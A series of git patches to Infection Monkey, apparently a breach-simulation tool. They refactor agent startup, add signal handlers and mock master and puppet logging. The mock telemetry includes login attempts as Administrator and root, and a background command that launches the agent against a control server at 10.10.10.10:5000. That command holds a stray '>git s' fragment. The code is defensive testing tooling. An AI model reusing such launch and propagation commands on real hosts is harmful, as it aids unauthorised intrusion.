infection_monkey.windows_upgrader import WindowsUpgrader MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, skipping propagation phase." @@ -107,6 +108,8 @@ class InfectionMonkey(object): logger.info("Monkey is starting...") logger.debug("Starting the setup phase.") + register_signal_handlers() + input() # Sets island's IP and port for monkey to communicate to self.set_default_server() self.set_default_port() diff --git a/monkey/infection_monkey/utils/signal_handler.py b/monkey/infection_monkey/utils/signal_handler.py new file mode 100644 index 000000000..32efa078b --- /dev/null +++ b/monkey/infection_monkey/utils/signal_handler.py @@ -0,0 +1,21 @@ +import logging +import signal + +from infection_monkey.utils.environment import is_windows_os +from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException + +logger = logging.getLogger(__name__) + + +def stop_signal_handler(_, __): + # IMaster.cleanup() + logger.debug("Some kind of interrupt signal was sent to the Monkey Agent") + raise PlannedShutdownException("Monkey Agent got an interrupt signal") + + +def register_signal_handlers(): + signal.signal(signal.SIGINT, stop_signal_handler) + signal.signal(signal.SIGTERM, stop_signal_handler) + + if is_windows_os(): + signal.signal(signal.SIGBREAK, stop_signal_handler) From 27ef06c546234e5e4f8526a7c9afb23cd0231e29 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 23 Nov 2021 12:17:17 -0500 Subject: [PATCH 0024/1110] Agent: Call IMaster.terminate() from signal handler --- monkey/infection_monkey/monkey.py | 8 +++++++- monkey/infection_monkey/utils/signal_handler.py | 16 +++++++++++----- 2 files changed, 18 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 4c5584558..2fde8cf43 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -13,18 +13,23 @@ from common.version import get_version from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.master.mock_master import MockMaster from infection_monkey.model import DELAY_DELETE_CMD from infection_monkey.network.firewall import app as firewall from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach +from infection_monkey.puppet.mock_puppet import MockPuppet from infection_monkey.ransomware.ransomware_payload_builder import build_ransomware_payload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem +from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( + LegacyTelemetryMessengerAdapter, +) from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem @@ -108,7 +113,8 @@ class InfectionMonkey(object): logger.info("Monkey is starting...") logger.debug("Starting the setup phase.") - register_signal_handlers() + mock_master = MockMaster(MockPuppet(), LegacyTelemetryMessengerAdapter()) + register_signal_handlers(mock_master) input() # Sets island's IP and port for monkey to communicate to self.set_default_server() diff --git a/monkey/infection_monkey/utils/signal_handler.py b/monkey/infection_monkey/utils/signal_handler.py index 32efa078b..d125ad98d 100644 --- a/monkey/infection_monkey/utils/signal_handler.py +++ b/monkey/infection_monkey/utils/signal_handler.py @@ -1,19 +1,25 @@ import logging import signal +from infection_monkey.i_master import IMaster from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException logger = logging.getLogger(__name__) -def stop_signal_handler(_, __): - # IMaster.cleanup() - logger.debug("Some kind of interrupt signal was sent to the Monkey Agent") - raise PlannedShutdownException("Monkey Agent got an interrupt signal") +class StopSignalHandler: + def __init__(self, master: IMaster): + self._master = master + + def __call__(self, _, __): + self._master.terminate() + logger.debug("Some kind of interrupt signal was sent to the Monkey Agent") + raise PlannedShutdownException("Monkey Agent got an interrupt signal") -def register_signal_handlers(): +def register_signal_handlers(master: IMaster): + stop_signal_handler = StopSignalHandler(master) signal.signal(signal.SIGINT, stop_signal_handler) signal.signal(signal.SIGTERM, stop_signal_handler) From 068307f0ebdd51d143e4fa16aa809fd8ef9a3ce1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 23 Nov 2021 13:09:17 -0500 Subject: [PATCH 0025/1110] Agent: Handle window close event on Windows --- monkey/infection_monkey/utils/signal_handler.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/signal_handler.py b/monkey/infection_monkey/utils/signal_handler.py index d125ad98d..f15fded3a 100644 --- a/monkey/infection_monkey/utils/signal_handler.py +++ b/monkey/infection_monkey/utils/signal_handler.py @@ -12,7 +12,7 @@ class StopSignalHandler: def __init__(self, master: IMaster): self._master = master - def __call__(self, _, __): + def __call__(self, _, __=None): self._master.terminate() logger.debug("Some kind of interrupt signal was sent to the Monkey Agent") raise PlannedShutdownException("Monkey Agent got an interrupt signal") @@ -24,4 +24,7 @@ def register_signal_handlers(master: IMaster): signal.signal(signal.SIGTERM, stop_signal_handler) if is_windows_os(): + import win32api + signal.signal(signal.SIGBREAK, stop_signal_handler) + win32api.SetConsoleCtrlHandler(stop_signal_handler, True) From 6149ef630bc63c221fea730eff5dc5b00042297c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 23 Nov 2021 13:18:11 -0500 Subject: [PATCH 0026/1110] Agent: Improve signal handler log message --- monkey/infection_monkey/utils/signal_handler.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/utils/signal_handler.py b/monkey/infection_monkey/utils/signal_handler.py index f15fded3a..a2f865ce2 100644 --- a/monkey/infection_monkey/utils/signal_handler.py +++ b/monkey/infection_monkey/utils/signal_handler.py @@ -12,9 +12,9 @@ class StopSignalHandler: def __init__(self, master: IMaster): self._master = master - def __call__(self, _, __=None): + def __call__(self, signum, __=None): + logger.info(f"The Monkey Agent received signal {signum}") self._master.terminate() - logger.debug("Some kind of interrupt signal was sent to the Monkey Agent") raise PlannedShutdownException("Monkey Agent got an interrupt signal") From 73329e9729ddc309c1c9a954f3546652e97b2fde Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 23 Nov 2021 13:28:01 -0500 Subject: [PATCH 0027/1110] Agent: Remove input() call in monkey.py The call to input() was used to pause the execution of the agent while testing the new signal handlers. It is no longer needed. --- monkey/infection_monkey/monkey.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 2fde8cf43..09eef703d 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -115,7 +115,7 @@ class InfectionMonkey(object): logger.debug("Starting the setup phase.") mock_master = MockMaster(MockPuppet(), LegacyTelemetryMessengerAdapter()) register_signal_handlers(mock_master) - input() + # Sets island's IP and port for monkey to communicate to self.set_default_server() self.set_default_port() From 3f7c4a8859b1d71cab4982f49489c8b06d309d50 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 24 Nov 2021 10:40:05 +0200 Subject: [PATCH 0028/1110] Agent: add a comment warning that windows will terminate the process 5s after CTRL_CLOSE_EVENT signal The comment will warn us that in case that particular signal is raised, the cleanup shouldn't take longer than 5s --- monkey/infection_monkey/utils/signal_handler.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/signal_handler.py b/monkey/infection_monkey/utils/signal_handler.py index a2f865ce2..d75b08f10 100644 --- a/monkey/infection_monkey/utils/signal_handler.py +++ b/monkey/infection_monkey/utils/signal_handler.py @@ -12,7 +12,7 @@ class StopSignalHandler: def __init__(self, master: IMaster): self._master = master - def __call__(self, signum, __=None): + def __call__(self, signum, _=None): logger.info(f"The Monkey Agent received signal {signum}") self._master.terminate() raise PlannedShutdownException("Monkey Agent got an interrupt signal") @@ -27,4 +27,7 @@ def register_signal_handlers(master: IMaster): import win32api signal.signal(signal.SIGBREAK, stop_signal_handler) + + # CTRL_CLOSE_EVENT signal has a timeout of 5000ms, + # after that OS will forcefully kill the process win32api.SetConsoleCtrlHandler(stop_signal_handler, True) From 0ec8fca766f49dcc6afab6131a8c1eb29bd9523b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Nov 2021 07:45:40 -0500 Subject: [PATCH 0029/1110] Agent: Add start/finish logging to phases of MockMaster execution --- monkey/infection_monkey/master/mock_master.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index 9d44f5d32..4cf6dc176 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -33,6 +33,7 @@ class MockMaster(IMaster): self._run_payload() def _run_sys_info_collectors(self): + logging.info("Running system info collectors") system_info_telemetry = {} system_info_telemetry["ProcessListCollector"] = self._puppet.run_sys_info_collector( "ProcessListCollector" @@ -42,8 +43,10 @@ class MockMaster(IMaster): ) system_info = self._puppet.run_sys_info_collector("LinuxInfoCollector") self._telemetry_messenger.send_telemetry(SystemInfoTelem(system_info)) + logging.info("Finished running system info collectors") def _run_pbas(self): + logging.info("Running post breach actions") name = "AccountDiscovery" command, result = self._puppet.run_pba(name, {}) self._telemetry_messenger.send_telemetry(PostBreachTelem(name, command, result)) @@ -51,8 +54,10 @@ class MockMaster(IMaster): name = "CommunicateAsBackdoorUser" command, result = self._puppet.run_pba(name, {}) self._telemetry_messenger.send_telemetry(PostBreachTelem(name, command, result)) + logging.info("Finished running post breach actions") def _scan_victims(self): + logging.info("Scanning network for potential victims") ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3"] ports = [22, 445, 3389, 8008] for ip in ips: @@ -73,8 +78,10 @@ class MockMaster(IMaster): h.services[port_scan_data.service]["banner"] = port_scan_data.banner self._telemetry_messenger.send_telemetry(ScanTelem(h)) + logging.info("Finished scanning network for potential victims") def _fingerprint(self): + logging.info("Running fingerprinters on potential victims") machine_1 = self._hosts["10.0.0.1"] machine_3 = self._hosts["10.0.0.3"] @@ -86,8 +93,10 @@ class MockMaster(IMaster): self._puppet.fingerprint("HTTPFinger", machine_3) self._telemetry_messenger.send_telemetry(ScanTelem(machine_3)) + logging.info("Finished running fingerprinters on potential victims") def _exploit(self): + logging.info("Exploiting victims") result, info, attempts = self._puppet.exploit_host( "PowerShellExploiter", "10.0.0.1", {}, None ) @@ -99,11 +108,14 @@ class MockMaster(IMaster): self._telemetry_messenger.send_telemetry( ExploitTelem("SSHExploiter", self._hosts["10.0.0.3"], result, info, attempts) ) + logging.info("Finished exploiting victims") def _run_payload(self): + logging.info("Running payloads") # TODO: modify what FileEncryptionTelem gets path, success, error = self._puppet.run_payload("RansomwarePayload", {}, None) self._telemetry_messenger.send_telemetry(FileEncryptionTelem(path, success, error)) + logging.info("Finished running payloads") def terminate(self) -> None: logger.info("Terminating MockMaster") From d31fd2c811e7213ec711f526e8937f142941277b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Nov 2021 12:51:33 -0500 Subject: [PATCH 0030/1110] Agent: Improve Windows signal handler --- .../infection_monkey/utils/signal_handler.py | 31 ++++++++++++++----- 1 file changed, 24 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/utils/signal_handler.py b/monkey/infection_monkey/utils/signal_handler.py index d75b08f10..87d965398 100644 --- a/monkey/infection_monkey/utils/signal_handler.py +++ b/monkey/infection_monkey/utils/signal_handler.py @@ -12,22 +12,39 @@ class StopSignalHandler: def __init__(self, master: IMaster): self._master = master - def __call__(self, signum, _=None): + def handle_posix_signals(self, signum, _): + self._handle_signal(signum) + # Windows signal handlers must return boolean. Only raising this exception for POSIX + # signals. + raise PlannedShutdownException("Monkey Agent got an interrupt signal") + + def handle_windows_signals(self, signum): + import win32con + + # TODO: This signal handler gets called for a CTRL_CLOSE_EVENT, but the system immediately + # kills the process after the handler returns. After the master is implemented and the + # setup/teardown of the Agent is fully refactored, revisit this signal handler and + # modify as necessary to more gracefully handle CTRL_CLOSE_EVENT signals. + if signum in {win32con.CTRL_C_EVENT, win32con.CTRL_BREAK_EVENT, win32con.CTRL_CLOSE_EVENT}: + self._handle_signal(signum) + return True + + return False + + def _handle_signal(self, signum): logger.info(f"The Monkey Agent received signal {signum}") self._master.terminate() - raise PlannedShutdownException("Monkey Agent got an interrupt signal") def register_signal_handlers(master: IMaster): stop_signal_handler = StopSignalHandler(master) - signal.signal(signal.SIGINT, stop_signal_handler) - signal.signal(signal.SIGTERM, stop_signal_handler) if is_windows_os(): import win32api - signal.signal(signal.SIGBREAK, stop_signal_handler) - # CTRL_CLOSE_EVENT signal has a timeout of 5000ms, # after that OS will forcefully kill the process - win32api.SetConsoleCtrlHandler(stop_signal_handler, True) + win32api.SetConsoleCtrlHandler(stop_signal_handler.handle_windows_signals, True) + else: + signal.signal(signal.SIGINT, stop_signal_handler.handle_posix_signals) + signal.signal(signal.SIGTERM, stop_signal_handler.handle_posix_signals) From 137afa64737e1cee88bf29f7d23628fd476f0753 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 24 Nov 2021 13:46:18 -0500 Subject: [PATCH 0031/1110] Agent: Don't register new signal handler in monkey.py (for now) The signal handler is not quite ready for prime time. Issue #1595 and issue #1597 will need to be resolved before the signal handler can be fully ready. For now, don't register the signal handler. --- monkey/infection_monkey/monkey.py | 8 -------- vulture_allowlist.py | 1 + 2 files changed, 1 insertion(+), 8 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 09eef703d..76bcbdf02 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -13,23 +13,18 @@ from common.version import get_version from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.master.mock_master import MockMaster from infection_monkey.model import DELAY_DELETE_CMD from infection_monkey.network.firewall import app as firewall from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach -from infection_monkey.puppet.mock_puppet import MockPuppet from infection_monkey.ransomware.ransomware_payload_builder import build_ransomware_payload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem -from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( - LegacyTelemetryMessengerAdapter, -) from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem @@ -43,7 +38,6 @@ from infection_monkey.utils.monkey_dir import ( remove_monkey_dir, ) from infection_monkey.utils.monkey_log_path import get_monkey_log_path -from infection_monkey.utils.signal_handler import register_signal_handlers from infection_monkey.windows_upgrader import WindowsUpgrader MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, skipping propagation phase." @@ -113,8 +107,6 @@ class InfectionMonkey(object): logger.info("Monkey is starting...") logger.debug("Starting the setup phase.") - mock_master = MockMaster(MockPuppet(), LegacyTelemetryMessengerAdapter()) - register_signal_handlers(mock_master) # Sets island's IP and port for monkey to communicate to self.set_default_server() diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 9ad0ccc68..20c130c33 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -213,3 +213,4 @@ ControlChannel should_agent_stop get_credentials_for_propagation MockMaster +register_signal_handlers From 44d3ad85865d99a539ae6d8029e5a6e1c1c002f6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 25 Nov 2021 17:14:24 +0100 Subject: [PATCH 0032/1110] Agent: Add realistic puppet exploit telemetry info and attempts Fix logging consistency in mock master. --- monkey/infection_monkey/master/mock_master.py | 26 +++++----- monkey/infection_monkey/puppet/mock_puppet.py | 51 +++++++++++++++---- 2 files changed, 55 insertions(+), 22 deletions(-) diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index 4cf6dc176..41d478b93 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -33,7 +33,7 @@ class MockMaster(IMaster): self._run_payload() def _run_sys_info_collectors(self): - logging.info("Running system info collectors") + logger.info("Running system info collectors") system_info_telemetry = {} system_info_telemetry["ProcessListCollector"] = self._puppet.run_sys_info_collector( "ProcessListCollector" @@ -43,10 +43,10 @@ class MockMaster(IMaster): ) system_info = self._puppet.run_sys_info_collector("LinuxInfoCollector") self._telemetry_messenger.send_telemetry(SystemInfoTelem(system_info)) - logging.info("Finished running system info collectors") + logger.info("Finished running system info collectors") def _run_pbas(self): - logging.info("Running post breach actions") + logger.info("Running post breach actions") name = "AccountDiscovery" command, result = self._puppet.run_pba(name, {}) self._telemetry_messenger.send_telemetry(PostBreachTelem(name, command, result)) @@ -54,10 +54,10 @@ class MockMaster(IMaster): name = "CommunicateAsBackdoorUser" command, result = self._puppet.run_pba(name, {}) self._telemetry_messenger.send_telemetry(PostBreachTelem(name, command, result)) - logging.info("Finished running post breach actions") + logger.info("Finished running post breach actions") def _scan_victims(self): - logging.info("Scanning network for potential victims") + logger.info("Scanning network for potential victims") ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3"] ports = [22, 445, 3389, 8008] for ip in ips: @@ -78,10 +78,10 @@ class MockMaster(IMaster): h.services[port_scan_data.service]["banner"] = port_scan_data.banner self._telemetry_messenger.send_telemetry(ScanTelem(h)) - logging.info("Finished scanning network for potential victims") + logger.info("Finished scanning network for potential victims") def _fingerprint(self): - logging.info("Running fingerprinters on potential victims") + logger.info("Running fingerprinters on potential victims") machine_1 = self._hosts["10.0.0.1"] machine_3 = self._hosts["10.0.0.3"] @@ -93,29 +93,31 @@ class MockMaster(IMaster): self._puppet.fingerprint("HTTPFinger", machine_3) self._telemetry_messenger.send_telemetry(ScanTelem(machine_3)) - logging.info("Finished running fingerprinters on potential victims") + logger.info("Finished running fingerprinters on potential victims") def _exploit(self): - logging.info("Exploiting victims") + logger.info("Exploiting victims") result, info, attempts = self._puppet.exploit_host( "PowerShellExploiter", "10.0.0.1", {}, None ) + logger.info(f"Attempts for exploiting {attempts}") self._telemetry_messenger.send_telemetry( ExploitTelem("PowerShellExploiter", self._hosts["10.0.0.1"], result, info, attempts) ) result, info, attempts = self._puppet.exploit_host("SSHExploiter", "10.0.0.3", {}, None) + logger.info(f"Attempts for exploiting {attempts}") self._telemetry_messenger.send_telemetry( ExploitTelem("SSHExploiter", self._hosts["10.0.0.3"], result, info, attempts) ) - logging.info("Finished exploiting victims") + logger.info("Finished exploiting victims") def _run_payload(self): - logging.info("Running payloads") + logger.info("Running payloads") # TODO: modify what FileEncryptionTelem gets path, success, error = self._puppet.run_payload("RansomwarePayload", {}, None) self._telemetry_messenger.send_telemetry(FileEncryptionTelem(path, success, error)) - logging.info("Finished running payloads") + logger.info("Finished running payloads") def terminate(self) -> None: logger.info("Terminating MockMaster") diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 6996d4d7c..3a32f3718 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -220,17 +220,48 @@ class MockPuppet(IPuppet): self, name: str, host: str, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: logger.debug(f"exploit_hosts({name}, {host}, {options})") + attempts = [ + { + "result": False, + "user": "Administrator", + "password": "", + "lm_hash": "", + "ntlm_hash": "", + "ssh_key": host, + }, + { + "result": False, + "user": "root", + "password": "", + "lm_hash": "", + "ntlm_hash": "", + "ssh_key": host, + }, + ] + info_powershell = { + "display_name": "PowerShell", + "started": "2021-11-25T15:57:06.307696", + "finished": "2021-11-25T15:58:33.788238", + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [ + { + "cmd": "/tmp/monkey m0nk3y -s 10.10.10.10:5000 -d 1 >git s /dev/null 2>&1 &", + "powershell": True, + } + ], + } + info_ssh = { + "display_name": "SSH", + "started": "2021-11-25T15:57:06.307696", + "finished": "2021-11-25T15:58:33.788238", + "vulnerable_urls": [], + "vulnerable_ports": [22], + "executed_cmds": [], + } successful_exploiters = { - DOT_1: { - "PowerShellExploiter": ExploiterResultData( - True, {"info": "important success stuff"}, ["attempt 1"] - ) - }, - DOT_3: { - "SSHExploiter": ExploiterResultData( - False, {"info": "important failure stuff"}, ["attempt 2"] - ) - }, + DOT_1: {"PowerShellExploiter": ExploiterResultData(True, info_powershell, attempts)}, + DOT_3: {"SSHExploiter": ExploiterResultData(False, info_ssh, attempts)}, } return successful_exploiters[host][name] From fb007e9cc835e04035e6d5be8dffcfb2af4bc79d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 25 Nov 2021 17:17:23 +0100 Subject: [PATCH 0033/1110] Agent: Initial refactoring of monkey including mocked puppet and a master --- monkey/infection_monkey/monkey.py | 170 ++++++++++++++++++------------ 1 file changed, 102 insertions(+), 68 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 76bcbdf02..ccf268ecf 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -13,18 +13,23 @@ from common.version import get_version from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.master.mock_master import MockMaster from infection_monkey.model import DELAY_DELETE_CMD from infection_monkey.network.firewall import app as firewall from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach +from infection_monkey.puppet.mock_puppet import MockPuppet from infection_monkey.ransomware.ransomware_payload_builder import build_ransomware_payload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem +from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( + LegacyTelemetryMessengerAdapter, +) from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem @@ -38,6 +43,7 @@ from infection_monkey.utils.monkey_dir import ( remove_monkey_dir, ) from infection_monkey.utils.monkey_log_path import get_monkey_log_path +from infection_monkey.utils.signal_handler import register_signal_handlers from infection_monkey.windows_upgrader import WindowsUpgrader MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, skipping propagation phase." @@ -48,6 +54,7 @@ logger = logging.getLogger(__name__) class InfectionMonkey(object): def __init__(self, args): + self.master = MockMaster(MockPuppet(), LegacyTelemetryMessengerAdapter()) self._keep_running = False self._exploited_machines = set() self._fail_exploitation_machines = set() @@ -106,71 +113,14 @@ class InfectionMonkey(object): try: logger.info("Monkey is starting...") - logger.debug("Starting the setup phase.") + # Sets the monkey up + self.setup() - # Sets island's IP and port for monkey to communicate to - self.set_default_server() - self.set_default_port() + # Start post breach phase + self.start_post_breach() - # Create a dir for monkey files if there isn't one - create_monkey_dir() - - self.upgrade_to_64_if_needed() - - ControlClient.wakeup(parent=self._parent) - ControlClient.load_control_config() - - if is_windows_os(): - T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() - - self.shutdown_by_not_alive_config() - - if is_running_on_island(): - WormConfiguration.started_on_island = True - ControlClient.report_start_on_island() - - if not ControlClient.should_monkey_run(self._opts.vulnerable_port): - raise PlannedShutdownException( - "Monkey shouldn't run on current machine " - "(it will be exploited later with more depth)." - ) - - if firewall.is_enabled(): - firewall.add_firewall_rule() - - self._monkey_tunnel = ControlClient.create_control_tunnel() - if self._monkey_tunnel: - self._monkey_tunnel.start() - - StateTelem(is_done=False, version=get_version()).send() - TunnelTelem().send() - - logger.debug("Starting the post-breach phase asynchronously.") - self._post_breach_phase = Thread(target=self.start_post_breach_phase) - self._post_breach_phase.start() - - if not InfectionMonkey.max_propagation_depth_reached(): - logger.info("Starting the propagation phase.") - logger.debug("Running with depth: %d" % WormConfiguration.depth) - self.propagate() - else: - logger.info( - "Maximum propagation depth has been reached; monkey will not propagate." - ) - TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send() - - if self._keep_running and WormConfiguration.alive: - InfectionMonkey.run_ransomware() - - # if host was exploited, before continue to closing the tunnel ensure the exploited - # host had its chance to - # connect to the tunnel - if len(self._exploited_machines) > 0: - time_to_sleep = WormConfiguration.keep_tunnel_open_time - logger.info( - "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep - ) - time.sleep(time_to_sleep) + # Start propagation phase + self.start_propagation() except PlannedShutdownException: logger.info( @@ -180,12 +130,96 @@ class InfectionMonkey(object): logger.exception("Planned shutdown, reason:") finally: - if self._monkey_tunnel: - self._monkey_tunnel.stop() - self._monkey_tunnel.join() + self.teardown() - if self._post_breach_phase: - self._post_breach_phase.join() + def setup(self): + logger.debug("Starting the setup phase.") + + self.shutdown_by_not_alive_config() + + # Sets island's IP and port for monkey to communicate to + self.set_default_server() + self.set_default_port() + + # Create a dir for monkey files if there isn't one + create_monkey_dir() + + self.upgrade_to_64_if_needed() + + ControlClient.wakeup(parent=self._parent) + ControlClient.load_control_config() + + if ControlClient.check_for_stop(): + raise PlannedShutdownException("Monkey has been marked for shutdown.") + + if not ControlClient.should_monkey_run(self._opts.vulnerable_port): + raise PlannedShutdownException( + "Monkey shouldn't run on current machine " + "(it will be exploited later with more depth)." + ) + + if is_windows_os(): + T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() + + if is_running_on_island(): + WormConfiguration.started_on_island = True + ControlClient.report_start_on_island() + + if firewall.is_enabled(): + firewall.add_firewall_rule() + + self._monkey_tunnel = ControlClient.create_control_tunnel() + if self._monkey_tunnel: + self._monkey_tunnel.start() + + StateTelem(is_done=False, version=get_version()).send() + TunnelTelem().send() + + self.master.start() + + register_signal_handlers(self.master) + + def start_propagation(self): + if not InfectionMonkey.max_propagation_depth_reached(): + logger.info("Starting the propagation phase.") + logger.debug("Running with depth: %d" % WormConfiguration.depth) + self.propagate() + else: + logger.info("Maximum propagation depth has been reached; monkey will not propagate.") + TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send() + + if self._keep_running and WormConfiguration.alive: + InfectionMonkey.run_ransomware() + + # if host was exploited, before continue to closing the tunnel ensure the exploited + # host had its chance to + # connect to the tunnel + if len(self._exploited_machines) > 0: + time_to_sleep = WormConfiguration.keep_tunnel_open_time + logger.info( + "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep + ) + time.sleep(time_to_sleep) + + def start_post_breach(self): + logger.debug("Starting the post-breach phase asynchronously.") + self._post_breach_phase = Thread(target=self.start_post_breach_phase) + self._post_breach_phase.start() + + def teardown(self): + if self._monkey_tunnel: + self._monkey_tunnel.stop() + self._monkey_tunnel.join() + + if self._post_breach_phase: + self._post_breach_phase.join() + + if firewall.is_enabled(): + firewall.remove_firewall_rule() + firewall.close() + + self.master.terminate() + self.master.cleanup() def start_post_breach_phase(self): self.collect_system_info_if_configured() From 3c13324e8a0394f90dec40dee2a1da03987a0411 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 26 Nov 2021 13:32:41 +0100 Subject: [PATCH 0034/1110] Agent: Change send_exploit_telemetry for host exploiter --- monkey/infection_monkey/exploit/HostExploiter.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 3a5abf4c5..34fd674ff 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -66,10 +66,16 @@ class HostExploiter(Plugin): def is_os_supported(self): return self.host.os.get("type") in self._TARGET_OS_TYPE - def send_exploit_telemetry(self, result): + def send_exploit_telemetry(self, name: str, result: bool): from infection_monkey.telemetry.exploit_telem import ExploitTelem - ExploitTelem(self, result).send() + ExploitTelem( + name=name, + host=self.host, + result=result, + info=self.exploit_info, + attempts=self.exploit_attempts, + ).send() def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""): self.exploit_attempts.append( From 1ee6d10b4c018a6a5f4a23b9db8ec9cd57761d7c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 26 Nov 2021 13:34:06 +0100 Subject: [PATCH 0035/1110] Agent: Refactor agent startup Reorder and rename functions. --- monkey/infection_monkey/monkey.py | 384 +++++++++++++++--------------- 1 file changed, 195 insertions(+), 189 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index ccf268ecf..88ca20b98 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -75,8 +75,7 @@ class InfectionMonkey(object): def initialize(self): logger.info("Monkey is initializing...") - if not self._singleton.try_lock(): - raise Exception("Another instance of the monkey is already running") + self._check_for_running_monkey() arg_parser = argparse.ArgumentParser() arg_parser.add_argument("-p", "--parent") @@ -85,7 +84,7 @@ class InfectionMonkey(object): 